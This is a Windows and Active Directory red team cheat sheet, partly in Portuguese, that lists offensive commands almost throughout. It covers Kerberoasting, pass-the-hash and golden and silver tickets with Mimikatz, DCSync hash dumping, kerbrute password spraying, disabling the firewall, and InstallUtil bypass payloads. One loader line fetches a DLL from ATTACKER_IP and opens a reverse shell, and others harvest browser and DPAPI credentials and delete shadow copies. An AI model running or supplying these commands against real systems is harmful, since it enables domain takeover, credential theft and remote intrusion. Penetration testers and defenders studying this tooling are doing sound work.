Windows Red Team Cheat Sheat
Windows Red Team Cheat Sheat
Windows Red Team Cheat Sheat
Recon
# Systeminfo
systeminfo
hostname
# Network information
ipconfig /all
route print
arp -A
# Running processes
tasklist /SVC
# Network connections
netstat -ano
# Obtain the path of the executable called by a Windows service (good for
checking Unquoted Paths):
sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims=
" %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo
--------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul &
del b 2>nul
Elevação de privilégios
Geral
# PowerShellMafia
# Use always dev branch others are shit.
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-
AllChecks"
powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System"
# Sherlock
https://github.com/rasta-mouse/Sherlock
# Unquoted paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |
findstr /i /v "C:\Windows\\" |findstr /i /v
Kerberoast
A lógica simples do Kerberoast é solicitar tíquetes e quebrá-los (offline, não
produz nenhum registro) - Para o Kerberos funcionar, o tempo deve estar
dentro de 5 minutos entre o invasor e a vítima.
# Rubeus
.\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234
# Request tickets
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
-ArgumentList "HTTP/web01.medin.local"
# Requesting remotely
python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1
# Extract tickets
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1;
Invoke-Kerberoast -OutputFormat Hashcat"
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Crack Tickets
python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi
# Using them
runas /user:administrator /savecred "cmd.exe /k whoami"
Movimento lateral
PsExec, SmbExec, WMIExec, RDP, PTH em geral. WinRM é sempre
bom. Verifique os grupos com cuidado. Como o Windows deu suporte ao
OpenSSH, também devemos considerar o SSH.
WinRM
$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential
('ECORP.local\morph3', $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
# Evil-WinRM
https://github.com/Hackplayers/evil-winrm
ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp
PTH com Mimikatz
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash
/run:command"'
# To see servers
select srvname from master..sysservers;
# Native
Get-SQLServerLinkCrawl -Instance server -Query "exec master..xp_cmdshell
'whoami'"
# Golden Ticket
# Extract the hash of the krbtgt user
lsadump::dcsync /domain:evil.corp /user:krbtgt
lsadump::lsa /inject
lsadump:::lsa /patch
lsadump::trust /patch
#metasploit module can also be used for golden ticket, it loads the ticket
into given session
post/windows/escalate/golden_ticket
# Silver Ticket
# Silver Ticket allows escalation of privileges on DC
# /target t he server/computer name where the service is hosted (ex:
share.server.local, sql.server.local:1433, ...)
# /service - The service name for the ticket (ex: cifs, rpcss, http,
mssql, ...)
# Examples
kerberos::golden /user:morph3 /domain:domain /sid:domain-sid
/target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-
hash /ptt /id:1103
sqlcmd -S evilcorp-sql102.evilcorp.local
select SYSTEM_USER;
GO
Ataques AD
Enumeração
# Basic ldap enumeration
enum4linux -a 192.168.1.2
python windapsearch.py -u morph3 -p morph3 -d evil.corp --dc-ip 192.168.1.2
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p
P@ssw0rd
# Password brute
./kerbrute_linux_amd64 bruteuser -d evil.corp --dc 192.168.1.2 rockyou.txt
morph3
# Username brute
./kerbrute_linux_amd64 userenum -d evil.corp --dc 192.168.1.2 users.txt
# Password spray
./kerbrute_linux_amd64 passwordspray -d evil.corp --dc 192.168.1.2 users.txt
rockyou.txt
DC Shadow
O ataque DC Shadow visa injetar controladores de domínio mal-intencionados
na infraestrutura do AD para que possamos descartar os membros reais do
AD.
https://attack.stealthbits.com/how-dcshadow-persistence-attack-works
DC Sync
#####
lsadump::dcsync /domain:domain /all /csv
lsadump::dcsync /user:krbtgt
#####
https://gist.github.com/monoxgas/9d238accd969550136db
powershell.exe -c "Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync
-PWDumpFormat"
#####
python secretsdump.py -hashes
aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc
PENTESTLAB/dc\$@10.0.0.1
python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL
PSByPassCLM
powershell.exe -exec bypass -c
Firewall
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
GreatSCT
# This also needs Veil-Framework
python GreatSCT.py --ip 192.168.1.56 --port 443 -t Bypass -p
installutil/powershell/script.py -c "OBFUSCATION=ascii
SCRIPT=/root/script.ps1"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false payload1.exe
EvilSalsa
#Preparing payloads
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll
supersecretpass123 evilsalsa.dll.txt
EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
#Executing payload
SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp
ATTACKER_IP 9001
Diversos
Alterar as permissões de um arquivo
icacls text.txt /grant Everyone:F
# Remote share
net view
net view \\dc.ecorp.foo /all
wmic /node: dc.ecorp.foo share get
# Mounting share
net use Z: \\127.0.0.1\C$ /user:morph3 password123
######
[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.Int
eropServices.marshal]::SecureStringToBSTR("string"))
######
$Ptr =
[System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($pas
sword)
$result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)
[System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr)
$result
# Powershell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
# Optional
net localgroup "Remote Desktop Users" morph3 /add
# Reruling firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in
protocol=TCP localport=3389 action=allow
privilege::debug
token::elevate
crypto::system
/file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My
\Certificates\thecert" /export
dpapi::capi
/in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id"
# After this command you must have the exported .der and .pvk files
dpapi::capi
/in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id"
/masterkey:f2c9ea33a990c865e985c496fb8915445895d80b
openssl x509 -inform DER -outform PEM -in blah.der -out public.pem
openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem
type "C:\Users\Administrator\Documents\encrypted.txt"
Pós-exploração - coleta de
informações
Lendo registros de eventos
O usuário deve estar no grupo "Leitor de registro de eventos" Siga este link
Get-WinEvent -ListLog *
# Empire
collection/ChromeDump
collection/FoxDump
collection/netripper
credentials/sessiongopher
# mimikatz
privilege::debug
sekurlsa::logonpasswords
diskshadow.exe
set context persistent nowriters
add volume C: alias morph3
create
expose %morph3% Z:
# Deletion
delete shadows volume %morph3%
reset
Pós-exploração
Empire DeathStar CrackMapExec - CME Covenant Rubeus SharpDPAPI
Desviar
Ebowla Veil-Framework PsBypassCLM
Créditos